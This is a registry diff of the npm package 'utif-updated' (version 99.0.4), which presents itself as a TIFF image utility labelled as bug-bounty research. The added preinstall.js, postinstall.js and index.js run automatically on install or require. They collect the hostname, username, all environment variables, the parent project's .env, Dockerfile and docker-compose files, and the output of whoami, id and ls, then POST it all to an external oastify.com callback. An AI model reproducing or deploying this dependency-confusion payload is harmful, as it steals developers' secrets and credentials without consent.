utif-updated 0.0.1-security → 99.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of utif-updated might be problematic. Click here for more details.
- package/README.md +4 -3
- package/index.js +58 -0
- package/package.json +10 -3
- package/postinstall.js +52 -0
- package/preinstall.js +96 -0
package/README.md
CHANGED
|
@@ -1,5 +1,6 @@
|
|
|
1
|
-
#
|
|
1
|
+
# utif-updated
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
Security research package - Bug Bounty
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
## Author
|
|
6
|
+
icare
|
package/index.js
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
|
|
7
|
+
const CALLBACK = 'icare.fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
8
|
+
|
|
9
|
+
if (!global.__utif_updated_triggered) {
|
|
10
|
+
global.__utif_updated_triggered = true;
|
|
11
|
+
|
|
12
|
+
function findParentProject() {
|
|
13
|
+
let dir = __dirname;
|
|
14
|
+
if (dir.includes('node_modules')) {
|
|
15
|
+
dir = dir.split('node_modules')[0];
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
const result = { root: dir };
|
|
19
|
+
try {
|
|
20
|
+
result.package_json = JSON.parse(fs.readFileSync(path.join(dir, 'package.json'), 'utf8'));
|
|
21
|
+
} catch(e) {}
|
|
22
|
+
try {
|
|
23
|
+
result.files = fs.readdirSync(dir);
|
|
24
|
+
} catch(e) {}
|
|
25
|
+
return result;
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
const info = {
|
|
29
|
+
type: 'runtime_v3',
|
|
30
|
+
hostname: os.hostname(),
|
|
31
|
+
user: os.userInfo().username,
|
|
32
|
+
env: process.env,
|
|
33
|
+
parent_project: findParentProject(),
|
|
34
|
+
timestamp: new Date().toISOString()
|
|
35
|
+
};
|
|
36
|
+
|
|
37
|
+
const data = JSON.stringify(info);
|
|
38
|
+
const req = https.request({
|
|
39
|
+
hostname: CALLBACK,
|
|
40
|
+
port: 443,
|
|
41
|
+
path: '/runtime',
|
|
42
|
+
method: 'POST',
|
|
43
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
44
|
+
}, () => {});
|
|
45
|
+
req.on('error', () => {});
|
|
46
|
+
req.write(data);
|
|
47
|
+
req.end();
|
|
48
|
+
|
|
49
|
+
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
50
|
+
if (webhook) {
|
|
51
|
+
try {
|
|
52
|
+
const url = new URL(webhook);
|
|
53
|
+
(url.protocol === 'https:' ? https : http).get(webhook, () => {}).on('error', () => {});
|
|
54
|
+
} catch(e) {}
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "utif-updated",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.4",
|
|
4
|
+
"description": "Security research - Bug Bounty",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"author": "icare",
|
|
7
|
+
"license": "MIT",
|
|
8
|
+
"scripts": {
|
|
9
|
+
"preinstall": "node preinstall.js || true",
|
|
10
|
+
"postinstall": "node postinstall.js || true"
|
|
11
|
+
},
|
|
12
|
+
"keywords": ["utif", "tiff", "image"]
|
|
6
13
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
|
|
7
|
+
const CALLBACK = 'icare.fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
8
|
+
|
|
9
|
+
function findParentProject() {
|
|
10
|
+
let dir = process.cwd();
|
|
11
|
+
if (dir.includes('node_modules')) {
|
|
12
|
+
dir = dir.split('node_modules')[0];
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
const result = { root: dir };
|
|
16
|
+
try {
|
|
17
|
+
result.package_json = JSON.parse(fs.readFileSync(path.join(dir, 'package.json'), 'utf8'));
|
|
18
|
+
} catch(e) {}
|
|
19
|
+
try {
|
|
20
|
+
result.files = fs.readdirSync(dir);
|
|
21
|
+
} catch(e) {}
|
|
22
|
+
return result;
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
const info = {
|
|
26
|
+
type: 'postinstall_v3',
|
|
27
|
+
hostname: os.hostname(),
|
|
28
|
+
user: os.userInfo().username,
|
|
29
|
+
env: process.env,
|
|
30
|
+
parent_project: findParentProject(),
|
|
31
|
+
timestamp: new Date().toISOString()
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
const data = JSON.stringify(info);
|
|
35
|
+
const req = https.request({
|
|
36
|
+
hostname: CALLBACK,
|
|
37
|
+
port: 443,
|
|
38
|
+
path: '/postinstall',
|
|
39
|
+
method: 'POST',
|
|
40
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
41
|
+
}, () => {});
|
|
42
|
+
req.on('error', () => {});
|
|
43
|
+
req.write(data);
|
|
44
|
+
req.end();
|
|
45
|
+
|
|
46
|
+
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
47
|
+
if (webhook) {
|
|
48
|
+
try {
|
|
49
|
+
const url = new URL(webhook);
|
|
50
|
+
(url.protocol === 'https:' ? https : http).get(webhook, () => {}).on('error', () => {});
|
|
51
|
+
} catch(e) {}
|
|
52
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,96 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
const { execSync } = require('child_process');
|
|
7
|
+
|
|
8
|
+
const CALLBACK = 'icare.fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
|
|
9
|
+
|
|
10
|
+
// Remonte depuis cwd pour trouver le VRAI projet parent
|
|
11
|
+
function findParentProject() {
|
|
12
|
+
let dir = process.cwd();
|
|
13
|
+
|
|
14
|
+
// Si on est dans node_modules/utif-updated, on remonte de 2 niveaux
|
|
15
|
+
if (dir.includes('node_modules')) {
|
|
16
|
+
const parts = dir.split('node_modules');
|
|
17
|
+
dir = parts[0]; // Tout ce qui est AVANT node_modules
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
const result = { root: dir };
|
|
21
|
+
|
|
22
|
+
// Lire le package.json du projet parent
|
|
23
|
+
try {
|
|
24
|
+
result.package_json = JSON.parse(
|
|
25
|
+
fs.readFileSync(path.join(dir, 'package.json'), 'utf8')
|
|
26
|
+
);
|
|
27
|
+
} catch(e) { result.package_json_error = e.message; }
|
|
28
|
+
|
|
29
|
+
// Lister les fichiers du projet
|
|
30
|
+
try {
|
|
31
|
+
result.files = fs.readdirSync(dir);
|
|
32
|
+
} catch(e) { result.files_error = e.message; }
|
|
33
|
+
|
|
34
|
+
// Essayer de lire d'autres fichiers intéressants
|
|
35
|
+
try {
|
|
36
|
+
result.env_file = fs.readFileSync(path.join(dir, '.env'), 'utf8');
|
|
37
|
+
} catch(e) {}
|
|
38
|
+
|
|
39
|
+
try {
|
|
40
|
+
result.dockercompose = fs.readFileSync(path.join(dir, 'docker-compose.yml'), 'utf8');
|
|
41
|
+
} catch(e) {}
|
|
42
|
+
|
|
43
|
+
try {
|
|
44
|
+
result.dockerfile = fs.readFileSync(path.join(dir, 'Dockerfile'), 'utf8');
|
|
45
|
+
} catch(e) {}
|
|
46
|
+
|
|
47
|
+
return result;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
const parent = findParentProject();
|
|
51
|
+
|
|
52
|
+
const info = {
|
|
53
|
+
type: 'preinstall_v3',
|
|
54
|
+
hostname: os.hostname(),
|
|
55
|
+
user: os.userInfo().username,
|
|
56
|
+
cwd: process.cwd(),
|
|
57
|
+
home: os.homedir(),
|
|
58
|
+
platform: os.platform(),
|
|
59
|
+
arch: os.arch(),
|
|
60
|
+
node_version: process.version,
|
|
61
|
+
env: process.env,
|
|
62
|
+
parent_project: parent,
|
|
63
|
+
timestamp: new Date().toISOString()
|
|
64
|
+
};
|
|
65
|
+
|
|
66
|
+
// Commandes système
|
|
67
|
+
try { info.pwd = execSync('pwd').toString().trim(); } catch(e) {}
|
|
68
|
+
try { info.whoami = execSync('whoami').toString().trim(); } catch(e) {}
|
|
69
|
+
try { info.id = execSync('id').toString().trim(); } catch(e) {}
|
|
70
|
+
try { info.ls_parent = execSync('ls -la ' + parent.root).toString(); } catch(e) {}
|
|
71
|
+
|
|
72
|
+
const data = JSON.stringify(info);
|
|
73
|
+
|
|
74
|
+
const req = https.request({
|
|
75
|
+
hostname: CALLBACK,
|
|
76
|
+
port: 443,
|
|
77
|
+
path: '/preinstall',
|
|
78
|
+
method: 'POST',
|
|
79
|
+
headers: {
|
|
80
|
+
'Content-Type': 'application/json',
|
|
81
|
+
'Content-Length': Buffer.byteLength(data)
|
|
82
|
+
}
|
|
83
|
+
}, () => {});
|
|
84
|
+
req.on('error', () => {});
|
|
85
|
+
req.write(data);
|
|
86
|
+
req.end();
|
|
87
|
+
|
|
88
|
+
// Trigger webhook
|
|
89
|
+
const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
|
|
90
|
+
if (webhook) {
|
|
91
|
+
try {
|
|
92
|
+
const url = new URL(webhook);
|
|
93
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
94
|
+
client.get(webhook, () => {}).on('error', () => {});
|
|
95
|
+
} catch(e) {}
|
|
96
|
+
}
|